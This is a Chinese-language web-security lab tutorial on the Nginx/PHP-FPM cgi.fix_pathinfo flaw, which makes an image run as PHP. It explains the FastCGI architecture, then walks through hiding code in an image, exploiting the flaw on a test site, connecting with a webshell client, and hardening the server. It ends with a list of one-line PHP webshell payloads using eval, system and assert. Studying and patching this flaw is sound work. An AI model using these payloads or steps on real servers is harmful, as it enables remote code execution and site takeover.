
紀年科技aming
預備知識
Nginx+PHP/FastCGI建構的WEB伺服器工作原理
- Nginx|FastCGI簡介
Nginx (“engine x”) 是一個高性能的 HTTP和反向代理伺服器,
Nginx作為WEB伺服器可以處理靜态檔案,
索引檔案以及自動索引,
能夠使用緩存加速反向代理,
并提供簡單的負載均衡及容錯、子產品化的架構等功能。
Nginx由核心和子產品組成,其中,核心的設計非常微小和簡潔,完成的工作也非常簡單,
僅僅通過查找配置檔案将用戶端請求映射到一個location block
(location是Nginx配置中的一個指令,用于URL比對),
而在這個location中所配置的每個指令将會啟動不同的子產品去完成相應的工作。
Nginx的子產品從結構上分為核心子產品、基礎子產品和第三方子產品:
1)核心子產品:HTTP子產品、EVENT子產品和MAIL子產品;
2)基礎子產品:HTTP Access子產品、HTTP FastCGI子產品、HTTP Proxy子產品和HTTP Rewrite子產品;
3)第三方子產品:HTTP Upstream Request Hash子產品、Notice子產品和HTTP Access Key子產品。
使用者根據自己的需要開發的子產品都屬于第三方子產品。
正是有了這麼多子產品的支撐,Nginx的功能才會如此強大。
Nginx的子產品從功能上分為如下三類。
1)Handlers(處理器子產品):
此類子產品直接處理請求,并進行輸出内容和修改headers資訊等操作。
Handlers處理器子產品一般隻能有一個。
2)Filters (過濾器子產品):
此類子產品主要對其他處理器子產品輸出的内容進行修改操作,最後由Nginx輸出。
3)Proxies (代理類子產品):
此類子產品是Nginx的HTTP Upstream之類的子產品,
這些子產品主要與後端一些服務比如FastCGI等進行互動,實作服務代理和負載均衡等功能。
Nginx子產品正常的HTTP請求和響應的過程:
*********************************************************************
FastCGI(CGI: Common Gateway Interface, “公共網關接口”)
是一個可伸縮地、高速地在HTTP server和動态腳本語言間通信的接口。
多數流行的HTTP server都支援FastCGI,包括Apache、Nginx和lighttpd等,
同時,FastCGI也被許多腳本語言所支援,其中就有PHP。
FastCGI接口方式采用C/S結構,可以将HTTP伺服器和腳本解析伺服器分開,
同時在腳本解析伺服器上啟動一個或者多個腳本解析守護程序。
當HTTP伺服器每次遇到動态程式時,可以将其直接傳遞給FastCGI程序來執行,
然後将得到的結果傳回給浏覽器。
這種方式可以讓HTTP伺服器專一地處理靜态請求或者将動态腳本伺服器的結果傳回給用戶端,
這在很大程度上提高了整個應用系統的性能。
但Nginx本身并不支援對PHP進行解析,是以Nginx在作為PHP應用的WEB伺服器時,
實際上是通過反向代理功能将對PHP頁面的請求快速地轉交給
諸如FastCGI這樣的通訊接口轉發給PHP進行解析。
-
Nginx+PHP/FastCGI運作原理
Nginx不支援對外部程式的直接調用或者解析,
所有的外部程式(包括PHP)必須通過FastCGI接口來調用。
FastCGI接口在Linux下是socket
(這個socket可以是檔案socket,也可以是ip socket)。
wrapper:為了調用CGI程式,還需要一個FastCGI的wrapper
(wrapper可以了解為用于啟動另一個程式的程式),
這個wrapper綁定在某個固定socket上,如端口或者檔案socket。
當Nginx将CGI請求發送給這個socket的時候,通過FastCGI接口,wrapper接收到請求,
然後Fork(派生)出一個新的線程,
這個線程調用解釋器或者外部程式處理腳本并讀取傳回資料;
接着,wrapper再将傳回的資料通過FastCGI接口,沿着固定的socket傳遞給Nginx;
最後,Nginx将傳回的資料(html頁面或者圖檔)發送給用戶端。
這就是Nginx+FastCGI的整個運作過程,如下圖所示。
Nginx解析安全實戰
是以,我們首先需要一個wrapper,需要完成的工作:
(1).通過調用fastcgi(庫)的函數通過socket和ningx通信
(讀寫socket是fastcgi内部實作的功能,對wrapper是非透明的);
(2).排程thread,進行fork和kill;
(3).和application(php)進行通信。
這個wrapper就是FastCGI程序管理器,也可以稱為FastCGI引擎,
FastCGI程序管理器在腳本解析伺服器上啟動一個
或者多個守護程序對動态腳本進行解析,
而HTTPServer可以完全解放出來,更好地進行響應和并發處理。
PHP-FPM就是支援PHP的一種FastCGI程序管理器。
其整體工作流程:
(1).FastCGI程序管理器php-fpm自身初始化,
啟動主程序php-fpm和啟動start_servers個CGI 子程序。
主程序php-fpm主要是管理fastcgi子程序,監聽服務端口。
fastcgi子程序等待來自Web Server的連接配接。
(2).當用戶端請求到達Web Server Nginx是時,Nginx通過location指令,
将所有以php為字尾的檔案都交給127.0.0.1:xxxx來處理,
即Nginx通過location指令,将所有以php為字尾的檔案都交給127.0.0.1:xxxx來處理。
(3).FastCGI程序管理器PHP-FPM選擇并連接配接到一個子程序CGI解釋器。
Web server将CGI環境變量和标準輸入發送到FastCGI子程序。
(4).FastCGI子程序完成處理後将标準輸出和錯誤資訊從同一連接配接傳回Web Server。
當FastCGI子程序關閉連接配接時,請求便告處理完成。
(5).FastCGI子程序接着等待并處理來自FastCGI程序管理器(運作在 WebServer中)的下一個連接配接。
PHP CGI 中 fix_pathinfo 引起的解析漏洞分析
這個安全問題最早被人所了解是通過國内安全組織80sec的一篇文章
《nginx檔案類型錯誤解析漏洞》
文章指出當Nginx配置FastCGI使用PHP時,
會将諸如http://www.test.com/test.jpg/anything.php 這樣的請求,
把test.jpg當作PHP檔案來進行解析,而anything.php這個檔案并不存在。
實際上這并不是一個Nginx的漏洞,而是
PHP5預設配置的缺陷造成的。
問題的本質是什麼呢?
比如, 下面的Nginx conf(Nginx配置檔案):
location ~ .php($|/) {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
set $script $uri;
set $path_info "";
if ($uri ~ "^(.+\.php)(/.*)") {
set $script $1;
set $path_info $2;
}
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$script;
fastcgi_param SCRIPT_NAME $script;
fastcgi_param PATH_INFO $path_info;
}
當我們發出http://www.test.com/test.jpg/anything.php這樣的請求時,
通過“^(.+\.php)(/.*)”這段正則比對後,
SCRIPT_NAME會被設定為“test.jpg/anything.php”,
繼而構造成SCRIPT_FILENAME傳遞給整個PHP CGI,
但是PHP又為什麼會接受這樣的參數,并且把test.jpg解析了呢?
問題就在于PHP的CGI SAPI中的參數cgi.fix_pathinfo這個參數了。
關于cgi.fix_pathinfo這個參數的描述:
; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's
; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok
; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting
; this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting
; of zero causes PHP to behave as before. Default is 1. You should fix your scripts
; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.
cgi.fix_pathinfo=1
上述描述了預設情況cgi.fix_pathinfo的值為1,
那麼如果開啟了這個選項,就會觸發在PHP中的如下邏輯:
/*
* if the file doesn't exist, try to extract PATH_INFO out
* of it by stat'ing back through the '/'
* this fixes url's like /info.php/test
*/
if (script_path_translated &&
(script_path_translated_len = strlen(script_path_translated)) > 0 &&
(script_path_translated[script_path_translated_len-1] == '/' ||
....//以下省略.
PHP CGI 以 / 為分隔符号從後向前依次檢查路徑,
當檢測到test.jpg/anything.php時,
PHP會認為
SCRIPT_FILENAME是test.jpg,
而anything.php是PATH_INFO,
然後PHP就把test.jpg當作一個PHP檔案來解釋執行。
在很多使用 php-fpm (<0.6) 的主機中也會出現這個問題,
但新的 php-fpm 的已經關閉了 cgi.fix_pathinfo。
實驗目的
了解Nginx的工作原理,了解Nginx畸形解析漏洞的形成原因;
掌握Nginx幾種常見的漏洞測試及利用方法;
掌握Nginx基本的安全加強政策
—
- 根據前面的漏洞分析,結合圖檔木馬技術對測試站點進行實戰測試,并成功擷取目标站點的webshell;
- 構造一個可以正常顯示的圖檔木馬,給出你操作的截圖,說一說你還有什麼其他的思路;
- 針對這個漏洞站點,給出你的加強政策
#制作圖檔木馬#
提示:請使用windows的畫圖自己畫一張圖檔,另存為jpg
(/b二進制binary模式,/a ascii模式)
- 通路這個位址并在.jpg後加上/anything.php進行測試
Nginx解析安全實戰 - 解析報文法錯誤說明将圖檔當作應用程式執行。
- 菜刀連接配接這個位址,得到權限
Nginx解析安全實戰 Nginx解析安全實戰 Nginx解析安全實戰
<?php eval($_POST[s])?>
<?php @eval($_POST[c])?>
<?php system($_REQUEST['cmd']);?>
<?php assert($_POST[c]);?>
<?fputs(fopen(c.php,w),<?eval($_POST[c]);?>)?>
Exif、僞裝圖檔頭等